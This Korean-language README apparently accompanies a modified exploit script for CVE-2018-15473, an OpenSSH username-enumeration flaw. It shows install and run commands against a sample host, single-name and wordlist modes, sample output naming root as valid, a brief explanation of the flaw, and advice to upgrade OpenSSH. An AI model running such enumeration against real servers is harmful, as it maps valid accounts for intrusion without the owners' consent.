sait-nuri/cve-2018-15473OpenSSH 2.3 < 7.7 - 사용자 이름 열거
SSH-사용자명-열거-익스플로잇 (OpenSSH 2.3 < 7.7)
원본 익스플로잇 수정 버전: https://www.exploit-db.com/exploits/45233
#필요 패키지를 설치했는지 확인하세요:
foo@bar:~$ pip3 install -r requirements.txt
#단일 사용자명:
foo@bar:~$ ./CVE-2018-15473.py 192.168.1.20 -u root
[+] root는 유효한 사용자명입니다.
#여러 사용자명:
foo@bar:~$ ./CVE-2018-15473.py 192.168.1.20 -w username_wordlist.txt
[+] root는 유효한 사용자명입니다.
[-] mysql은 유효하지 않은 사용자명입니다.
[-] mike는 유효하지 않은 사용자명입니다.
[-] foo는 유효하지 않은 사용자명입니다.
[-] bar는 유효하지 않은 사용자명입니다.
유효한 사용자:
root
#추가 옵션:
foo@bar:~$ ./CVE-2018-15473.py -h
시스템이 유효한 인증 시도와 유효하지 않은 인증 시도에 대해 다르게 응답합니다. 원격 사용자는 특수하게 조작된 요청을 보내 대상 시스템의 유효한 사용자명을 확인할 수 있습니다. 따라서 원격 사용자가 대상 시스템의 유효한 사용자명을 알아낼 수 있습니다.
OpenSSH 서버를 7.7 버전 이상으로 업그레이드해야 합니다.